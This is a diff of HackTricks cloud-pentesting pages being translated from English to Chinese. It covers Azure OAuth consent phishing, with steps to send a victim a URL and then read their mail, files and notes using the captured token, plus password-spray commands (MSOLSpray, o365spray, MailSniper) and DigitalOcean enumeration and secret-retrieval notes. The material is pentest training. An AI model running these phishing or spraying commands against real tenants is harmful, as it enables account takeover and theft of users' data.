3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)`
|
||||
3. 选择 API 权限(例如 `Mail.Read`、`Notes.Read.All`、`Files.ReadWrite.All`、`User.ReadBasic.All`、`User.Read`)
|
||||
|
||||
<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
4. **Execute the web page (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:
|
||||
|
||||
4. **执行网页 (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)**,请求权限:
|
||||
```bash
|
||||
# From https://github.com/carlospolop/azure_oauth_phishing_example
|
||||
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
|
||||
```
|
||||
|
||||
5. **Send the URL to the victim**
|
||||
1. In this case `http://localhost:8000`
|
||||
6. **Victims** needs to **accept the prompt:**
|
||||
5. **将 URL 发送给受害者**
|
||||
1. 在这种情况下 `http://localhost:8000`
|
||||
6. **受害者**需要**接受提示:**
|
||||
|
||||
<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
7. Use the **access token to access the requested permissions**:
|
||||
|
||||
7. 使用**访问令牌访问请求的权限**:
|
||||
```bash
|
||||
export ACCESS_TOKEN=<ACCESS_TOKEN>
|
||||
|
||||
# List drive files
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List eails
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/messages \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/messages \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List notes
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
```
|
||||
## 其他工具
|
||||
|
||||
## Other Tools
|
||||
|
||||
- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it.
|
||||
- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** 查看 [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) 了解如何配置它。
|
||||
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)
|
||||
|
||||
## Post-Exploitation
|
||||
## 后期利用
|
||||
|
||||
### Phishing Post-Exploitation
|
||||
### 钓鱼后期利用
|
||||
|
||||
Depending on the requested permissions you might be able to **access different data of the tenant** (list users, groups... or even modify settings) and **information of the user** (files, notes, emails...). Then, you can use this permissions to perform those actions.
|
||||
根据请求的权限,您可能能够**访问租户的不同数据**(列出用户、组...或甚至修改设置)和**用户的信息**(文件、笔记、电子邮件...)。然后,您可以使用这些权限执行这些操作。
|
||||
|
||||
### Application Post Exploitation
|
||||
### 应用程序后期利用
|
||||
|
||||
Check the Applications and Service Principal sections of the page:
|
||||
查看页面的应用程序和服务主体部分:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
|
||||
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+5
-15
@@ -4,25 +4,20 @@
|
||||
|
||||
## Password Spray
|
||||
|
||||
In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
|
||||
在**Azure**中,这可以针对**不同的API端点**进行,例如Azure AD Graph、Microsoft Graph、Office 365 Reporting webservice等。
|
||||
|
||||
However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless.
|
||||
|
||||
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||
然而,请注意,这种技术是**非常嘈杂的**,蓝队可以**轻松捕捉到它**。此外,**强制密码复杂性**和使用**MFA**可能使这种技术变得无用。
|
||||
|
||||
您可以使用[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)执行密码喷洒攻击。
|
||||
```powershell
|
||||
. .\MSOLSpray\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
||||
```
|
||||
|
||||
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
|
||||
或使用 [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
```bash
|
||||
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
||||
```
|
||||
|
||||
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
|
||||
或使用 [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
```powershell
|
||||
#OWA
|
||||
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
||||
@@ -31,9 +26,4 @@ Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -
|
||||
#Gmail
|
||||
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+7
-15
@@ -2,22 +2,21 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Virtual Machines
|
||||
## 虚拟机
|
||||
|
||||
For more info about Azure Virtual Machines check:
|
||||
有关 Azure 虚拟机的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Exposed vulnerable service
|
||||
### 暴露的易受攻击服务
|
||||
|
||||
A network service that is vulnerable to some RCE.
|
||||
一个易受某些 RCE 攻击的网络服务。
|
||||
|
||||
### Public Gallery Images
|
||||
|
||||
A public image might have secrets inside of it:
|
||||
### 公共图库镜像
|
||||
|
||||
公共镜像可能包含内部的秘密:
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
@@ -25,11 +24,9 @@ az sig list-community --output table
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
|
||||
### Public Extensions
|
||||
|
||||
This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it:
|
||||
|
||||
这可能会更奇怪,但并非不可能。一家大公司可能会在其中放置包含敏感数据的扩展:
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
@@ -37,9 +34,4 @@ az vm extension image list --output table
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**Before start pentesting** a Digital Ocean environment there are a few **basics things you need to know** about how DO works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**在开始对** Digital Ocean **环境进行渗透测试之前,您需要了解一些** 基本知识 **,以帮助您理解需要做什么,如何查找错误配置以及如何利用它们。**
|
||||
|
||||
Concepts such as hierarchy, access and other basic concepts are explained in:
|
||||
诸如层次结构、访问权限和其他基本概念在以下内容中进行了说明:
|
||||
|
||||
{{#ref}}
|
||||
do-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Basic Enumeration
|
||||
## 基本枚举
|
||||
|
||||
### SSRF
|
||||
|
||||
@@ -20,28 +20,22 @@ do-basic-information.md
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
### Projects
|
||||
### 项目
|
||||
|
||||
To get a list of the projects and resources running on each of them from the CLI check:
|
||||
要从 CLI 获取项目及其上运行的资源的列表,请检查:
|
||||
|
||||
{{#ref}}
|
||||
do-services/do-projects.md
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
|
||||
```bash
|
||||
doctl account get
|
||||
```
|
||||
|
||||
## Services Enumeration
|
||||
## 服务枚举
|
||||
|
||||
{{#ref}}
|
||||
do-services/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,139 +1,127 @@
|
||||
# DO - Basic Information
|
||||
# DO - 基本信息
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
DigitalOcean is a **cloud computing platform that provides users with a variety of services**, including virtual private servers (VPS) and other resources for building, deploying, and managing applications. **DigitalOcean's services are designed to be simple and easy to use**, making them **popular among developers and small businesses**.
|
||||
DigitalOcean 是一个 **提供多种服务的云计算平台**,包括虚拟专用服务器 (VPS) 和其他用于构建、部署和管理应用程序的资源。**DigitalOcean 的服务旨在简单易用**,使其在 **开发者和小型企业中广受欢迎**。
|
||||
|
||||
Some of the key features of DigitalOcean include:
|
||||
DigitalOcean 的一些关键特性包括:
|
||||
|
||||
- **Virtual private servers (VPS)**: DigitalOcean provides VPS that can be used to host websites and applications. These VPS are known for their simplicity and ease of use, and can be quickly and easily deployed using a variety of pre-built "droplets" or custom configurations.
|
||||
- **Storage**: DigitalOcean offers a range of storage options, including object storage, block storage, and managed databases, that can be used to store and manage data for websites and applications.
|
||||
- **Development and deployment tools**: DigitalOcean provides a range of tools that can be used to build, deploy, and manage applications, including APIs and pre-built droplets.
|
||||
- **Security**: DigitalOcean places a strong emphasis on security, and offers a range of tools and features to help users keep their data and applications safe. This includes encryption, backups, and other security measures.
|
||||
- **虚拟专用服务器 (VPS)**:DigitalOcean 提供可用于托管网站和应用程序的 VPS。这些 VPS 以其简单性和易用性而闻名,可以通过多种预构建的 "droplets" 或自定义配置快速轻松地部署。
|
||||
- **存储**:DigitalOcean 提供一系列存储选项,包括对象存储、块存储和托管数据库,可用于存储和管理网站和应用程序的数据。
|
||||
- **开发和部署工具**:DigitalOcean 提供一系列可用于构建、部署和管理应用程序的工具,包括 API 和预构建的 droplets。
|
||||
- **安全性**:DigitalOcean 非常重视安全性,并提供一系列工具和功能,帮助用户保护他们的数据和应用程序安全。这包括加密、备份和其他安全措施。
|
||||
|
||||
Overall, DigitalOcean is a cloud computing platform that provides users with the tools and resources they need to build, deploy, and manage applications in the cloud. Its services are designed to be simple and easy to use, making them popular among developers and small businesses.
|
||||
总体而言,DigitalOcean 是一个云计算平台,为用户提供构建、部署和管理云中应用程序所需的工具和资源。其服务旨在简单易用,使其在开发者和小型企业中广受欢迎。
|
||||
|
||||
### Main Differences from AWS
|
||||
### 与 AWS 的主要区别
|
||||
|
||||
One of the main differences between DigitalOcean and AWS is the **range of services they offer**. **DigitalOcean focuses on providing simple** and easy-to-use virtual private servers (VPS), storage, and development and deployment tools. **AWS**, on the other hand, offers a **much broader range of services**, including VPS, storage, databases, machine learning, analytics, and many other services. This means that AWS is more suitable for complex, enterprise-level applications, while DigitalOcean is more suited to small businesses and developers.
|
||||
DigitalOcean 和 AWS 之间的主要区别之一是 **它们提供的服务范围**。**DigitalOcean 专注于提供简单** 和易于使用的虚拟专用服务器 (VPS)、存储和开发与部署工具。**AWS** 则提供 **更广泛的服务**,包括 VPS、存储、数据库、机器学习、分析和许多其他服务。这意味着 AWS 更适合复杂的企业级应用程序,而 DigitalOcean 更适合小型企业和开发者。
|
||||
|
||||
Another key difference between the two platforms is the **pricing structure**. **DigitalOcean's pricing is generally more straightforward and easier** to understand than AWS, with a range of pricing plans that are based on the number of droplets and other resources used. AWS, on the other hand, has a more complex pricing structure that is based on a variety of factors, including the type and amount of resources used. This can make it more difficult to predict costs when using AWS.
|
||||
两个平台之间的另一个关键区别是 **定价结构**。**DigitalOcean 的定价通常更简单易懂**,有一系列基于使用的 droplets 和其他资源的定价计划。而 AWS 的定价结构则更复杂,基于多种因素,包括使用的资源类型和数量。这可能使得在使用 AWS 时更难预测成本。
|
||||
|
||||
## Hierarchy
|
||||
## 层级
|
||||
|
||||
### User
|
||||
### 用户
|
||||
|
||||
A user is what you expect, a user. He can **create Teams** and **be a member of different teams.**
|
||||
用户就是你所期望的用户。他可以 **创建团队** 并 **成为不同团队的成员**。
|
||||
|
||||
### **Team**
|
||||
### **团队**
|
||||
|
||||
A team is a group of **users**. When a user creates a team he has the **role owner on that team** and he initially **sets up the billing info**. **Other** user can then be **invited** to the team.
|
||||
团队是一组 **用户**。当用户创建团队时,他在该团队中拥有 **所有者角色**,并最初 **设置账单信息**。**其他** 用户可以被 **邀请** 加入团队。
|
||||
|
||||
Inside the team there might be several **projects**. A project is just a **set of services running**. It can be used to **separate different infra stages**, like prod, staging, dev...
|
||||
团队内部可能有多个 **项目**。项目只是 **运行的一组服务**。它可以用于 **分隔不同的基础设施阶段**,如生产、预发布、开发...
|
||||
|
||||
### Project
|
||||
### 项目
|
||||
|
||||
As explained, a project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
|
||||
A Digital Ocean project is very similar to a GCP project without IAM.
|
||||
如前所述,项目只是一个容器,包含所有 **服务**(droplets、spaces、数据库、kubernetes...) **一起运行**。\
|
||||
Digital Ocean 项目与 GCP 项目非常相似,但没有 IAM。
|
||||
|
||||
## Permissions
|
||||
## 权限
|
||||
|
||||
### Team
|
||||
### 团队
|
||||
|
||||
Basically all members of a team have **access to the DO resources in all the projects created within the team (with more or less privileges).**
|
||||
基本上,团队的所有成员都 **可以访问团队内创建的所有项目中的 DO 资源(权限多或少)**。
|
||||
|
||||
### Roles
|
||||
### 角色
|
||||
|
||||
Each **user inside a team** can have **one** of the following three **roles** inside of it:
|
||||
每个 **团队内的用户** 可以拥有以下三种 **角色** 中的 **一种**:
|
||||
|
||||
| Role | Shared Resources | Billing Information | Team Settings |
|
||||
| ---------- | ---------------- | ------------------- | ------------- |
|
||||
| **Owner** | Full access | Full access | Full access |
|
||||
| **Biller** | No access | Full access | No access |
|
||||
| **Member** | Full access | No access | No access |
|
||||
| 角色 | 共享资源 | 账单信息 | 团队设置 |
|
||||
| ---------- | -------------- | ---------------- | -------------- |
|
||||
| **所有者** | 完全访问 | 完全访问 | 完全访问 |
|
||||
| **账单员** | 无访问 | 完全访问 | 无访问 |
|
||||
| **成员** | 完全访问 | 无访问 | 无访问 |
|
||||
|
||||
**Owner** and **member can list the users** and check their **roles** (biller cannot).
|
||||
**所有者** 和 **成员可以列出用户** 并检查他们的 **角色**(账单员不能)。
|
||||
|
||||
## Access
|
||||
## 访问
|
||||
|
||||
### Username + password (MFA)
|
||||
### 用户名 + 密码 (MFA)
|
||||
|
||||
As in most of the platforms, in order to access to the GUI you can use a set of **valid username and password** to **access** the cloud **resources**. Once logged in you can see **all the teams you are part** of in [https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile).\
|
||||
And you can see all your activity in [https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity).
|
||||
与大多数平台一样,为了访问 GUI,您可以使用一组 **有效的用户名和密码** 来 **访问** 云 **资源**。登录后,您可以在 [https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile) 查看 **您所参与的所有团队**。\
|
||||
您可以在 [https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity) 查看您的所有活动。
|
||||
|
||||
**MFA** can be **enabled** in a user and **enforced** for all the users in a **team** to access the team.
|
||||
**MFA** 可以在用户中 **启用** 并 **强制** 所有用户在 **团队** 中访问该团队。
|
||||
|
||||
### API keys
|
||||
|
||||
In order to use the API, users can **generate API keys**. These will always come with Read permissions but **Write permission are optional**.\
|
||||
The API keys look like this:
|
||||
### API 密钥
|
||||
|
||||
为了使用 API,用户可以 **生成 API 密钥**。这些密钥将始终具有读取权限,但 **写入权限是可选的**。\
|
||||
API 密钥的格式如下:
|
||||
```
|
||||
dop_v1_1946a92309d6240274519275875bb3cb03c1695f60d47eaa1532916502361836
|
||||
```
|
||||
|
||||
The cli tool is [**doctl**](https://github.com/digitalocean/doctl#installing-doctl). Initialise it (you need a token) with:
|
||||
|
||||
The cli tool is [**doctl**](https://github.com/digitalocean/doctl#installing-doctl). 初始化它(你需要一个令牌)使用:
|
||||
```bash
|
||||
doctl auth init # Asks for the token
|
||||
doctl auth init --context my-context # Login with a different token
|
||||
doctl auth list # List accounts
|
||||
```
|
||||
默认情况下,此令牌将以明文形式写入Mac的`/Users/<username>/Library/Application Support/doctl/config.yaml`中。
|
||||
|
||||
By default this token will be written in clear-text in Mac in `/Users/<username>/Library/Application Support/doctl/config.yaml`.
|
||||
### Spaces访问密钥
|
||||
|
||||
### Spaces access keys
|
||||
|
||||
These are keys that give **access to the Spaces** (like S3 in AWS or Storage in GCP).
|
||||
|
||||
They are composed by a **name**, a **keyid** and a **secret**. An example could be:
|
||||
这些是提供**访问Spaces**的密钥(如AWS中的S3或GCP中的Storage)。
|
||||
|
||||
它们由**名称**、**keyid**和**secret**组成。一个示例可以是:
|
||||
```
|
||||
Name: key-example
|
||||
Keyid: DO00ZW4FABSGZHAABGFX
|
||||
Secret: 2JJ0CcQZ56qeFzAJ5GFUeeR4Dckarsh6EQSLm87MKlM
|
||||
```
|
||||
### OAuth 应用程序
|
||||
|
||||
### OAuth Application
|
||||
OAuth 应用程序可以被授予 **对 Digital Ocean 的访问权限**。
|
||||
|
||||
OAuth applications can be granted **access over Digital Ocean**.
|
||||
可以在 [https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications) 创建 **OAuth 应用程序**,并在 [https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access) 检查所有 **允许的 OAuth 应用程序**。
|
||||
|
||||
It's possible to **create OAuth applications** in [https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications) and check all **allowed OAuth applications** in [https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access).
|
||||
### SSH 密钥
|
||||
|
||||
### SSH Keys
|
||||
可以从 [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security) 的 **控制台** 向 Digital Ocean 团队添加 **SSH 密钥**。
|
||||
|
||||
It's possible to add **SSH keys to a Digital Ocean Team** from the **console** in [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security).
|
||||
这样,如果您创建一个 **新滴水,SSH 密钥将被设置** 在上面,您将能够 **通过 SSH 登录** 而无需密码(请注意,出于安全原因,新上传的 [SSH 密钥不会在已存在的滴水中设置](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/))。
|
||||
|
||||
This way, if you create a **new droplet, the SSH key will be set** on it and you will be able to **login via SSH** without password (note that newly [uploaded SSH keys aren't set in already existent droplets for security reasons](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/)).
|
||||
|
||||
### Functions Authentication Token
|
||||
|
||||
The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
|
||||
### 函数认证令牌
|
||||
|
||||
**通过 REST API 触发函数** 的方式(始终启用,这是 cli 使用的方法)是通过触发带有 **认证令牌** 的请求,例如:
|
||||
```bash
|
||||
curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
```
|
||||
## 日志
|
||||
|
||||
## Logs
|
||||
### 用户日志
|
||||
|
||||
### User logs
|
||||
**用户的日志**可以在[**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)找到
|
||||
|
||||
The **logs of a user** can be found in [**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)
|
||||
### 团队日志
|
||||
|
||||
### Team logs
|
||||
**团队的日志**可以在[**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)找到
|
||||
|
||||
The **logs of a team** can be found in [**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://docs.digitalocean.com/products/teams/how-to/manage-membership/](https://docs.digitalocean.com/products/teams/how-to/manage-membership/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
# DO - Permissions for a Pentest
|
||||
# DO - Pentest的权限
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
DO doesn't support granular permissions. So the **minimum role** that allows a user to review all the resources is **member**. A pentester with this permission will be able to perform harmful activities, but it's what it's.
|
||||
DO不支持细粒度权限。因此,允许用户查看所有资源的**最低角色**是**成员**。拥有此权限的pentester将能够执行有害活动,但这就是现实。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,19 @@
|
||||
# DO - Services
|
||||
# DO - 服务
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
DO offers a few services, here you can find how to **enumerate them:**
|
||||
DO 提供了一些服务,您可以在这里找到如何 **枚举它们:**
|
||||
|
||||
- [**Apps**](do-apps.md)
|
||||
- [**Container Registry**](do-container-registry.md)
|
||||
- [**Databases**](do-databases.md)
|
||||
- [**应用程序**](do-apps.md)
|
||||
- [**容器注册表**](do-container-registry.md)
|
||||
- [**数据库**](do-databases.md)
|
||||
- [**Droplets**](do-droplets.md)
|
||||
- [**Functions**](do-functions.md)
|
||||
- [**Images**](do-images.md)
|
||||
- [**函数**](do-functions.md)
|
||||
- [**镜像**](do-images.md)
|
||||
- [**Kubernetes (DOKS)**](do-kubernetes-doks.md)
|
||||
- [**Networking**](do-networking.md)
|
||||
- [**Projects**](do-projects.md)
|
||||
- [**Spaces**](do-spaces.md)
|
||||
- [**Volumes**](do-volumes.md)
|
||||
- [**网络**](do-networking.md)
|
||||
- [**项目**](do-projects.md)
|
||||
- [**空间**](do-spaces.md)
|
||||
- [**卷**](do-volumes.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://docs.digitalocean.com/glossary/app-platform/) App Platform is a Platform-as-a-Service (PaaS) offering that allows developers to **publish code directly to DigitalOcean** servers without worrying about the underlying infrastructure.
|
||||
[来自文档:](https://docs.digitalocean.com/glossary/app-platform/) App Platform 是一种平台即服务(PaaS)产品,允许开发者**直接将代码发布到 DigitalOcean** 服务器,而无需担心底层基础设施。
|
||||
|
||||
You can run code directly from **github**, **gitlab**, **docker hub**, **DO container registry** (or a sample app).
|
||||
您可以直接从 **github**、**gitlab**、**docker hub**、**DO 容器注册表**(或示例应用)运行代码。
|
||||
|
||||
When defining an **env var** you can set it as **encrypted**. The only way to **retreive** its value is executing **commands** inside the host runnig the app.
|
||||
在定义 **env var** 时,您可以将其设置为 **加密**。获取其值的唯一方法是在运行应用的主机内执行 **命令**。
|
||||
|
||||
An **App URL** looks like this [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
|
||||
|
||||
### Enumeration
|
||||
**App URL** 看起来像这样 [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
doctl apps list # You should get URLs here
|
||||
doctl apps spec get <app-id> # Get yaml (including env vars, might be encrypted)
|
||||
@@ -21,18 +20,13 @@ doctl apps logs <app-id> # Get HTTP logs
|
||||
doctl apps list-alerts <app-id> # Get alerts
|
||||
doctl apps list-regions # Get available regions and the default one
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Apps doesn't have metadata endpoint**
|
||||
> **应用程序没有元数据端点**
|
||||
|
||||
### RCE & Encrypted env vars
|
||||
### RCE & 加密环境变量
|
||||
|
||||
To execute code directly in the container executing the App you will need **access to the console** and go to **`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**.
|
||||
要直接在执行应用程序的容器中执行代码,您需要**访问控制台**并转到**`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**。
|
||||
|
||||
That will give you a **shell**, and just executing **`env`** you will be able to see **all the env vars** (including the ones defined as **encrypted**).
|
||||
这将为您提供一个**shell**,只需执行**`env`**,您将能够看到**所有环境变量**(包括定义为**加密**的变量)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
DigitalOcean Container Registry is a service provided by DigitalOcean that **allows you to store and manage Docker images**. It is a **private** registry, which means that the images that you store in it are only accessible to you and users that you grant access to. This allows you to securely store and manage your Docker images, and use them to deploy containers on DigitalOcean or any other environment that supports Docker.
|
||||
DigitalOcean Container Registry 是 DigitalOcean 提供的一项服务,**允许您存储和管理 Docker 镜像**。它是一个**私有**注册表,这意味着您存储的镜像仅对您和您授予访问权限的用户可访问。这使您能够安全地存储和管理您的 Docker 镜像,并将其用于在 DigitalOcean 或任何其他支持 Docker 的环境中部署容器。
|
||||
|
||||
When creating a Container Registry it's possible to **create a secret with pull images access (read) over it in all the namespaces** of Kubernetes clusters.
|
||||
|
||||
### Connection
|
||||
在创建 Container Registry 时,可以**在 Kubernetes 集群的所有命名空间中创建一个具有拉取镜像访问(读取)权限的秘密**。
|
||||
|
||||
### 连接
|
||||
```bash
|
||||
# Using doctl
|
||||
doctl registry login
|
||||
@@ -19,9 +18,7 @@ docker login registry.digitalocean.com
|
||||
Username: <paste-api-token>
|
||||
Password: <paste-api-token>
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# Get creds to access the registry from the API
|
||||
doctl registry docker-config
|
||||
@@ -29,9 +26,4 @@ doctl registry docker-config
|
||||
# List
|
||||
doctl registry repository list-v2
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,19 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
With DigitalOcean Databases, you can easily **create and manage databases in the cloud** without having to worry about the underlying infrastructure. The service offers a variety of database options, including **MySQL**, **PostgreSQL**, **MongoDB**, and **Redis**, and provides tools for administering and monitoring your databases. DigitalOcean Databases is designed to be highly scalable, reliable, and secure, making it an ideal choice for powering modern applications and websites.
|
||||
使用 DigitalOcean Databases,您可以轻松地 **在云中创建和管理数据库**,而无需担心底层基础设施。该服务提供多种数据库选项,包括 **MySQL**、**PostgreSQL**、**MongoDB** 和 **Redis**,并提供管理和监控数据库的工具。DigitalOcean Databases 旨在高度可扩展、可靠和安全,是为现代应用程序和网站提供支持的理想选择。
|
||||
|
||||
### Connections details
|
||||
### 连接详情
|
||||
|
||||
When creating a database you can select to configure it **accessible from a public network**, or just from inside a **VPC**. Moreover, it request you to **whitelist IPs that can access it** (your IPv4 can be one).
|
||||
|
||||
The **host**, **port**, **dbname**, **username**, and **password** are shown in the **console**. You can even download the AD certificate to connect securely.
|
||||
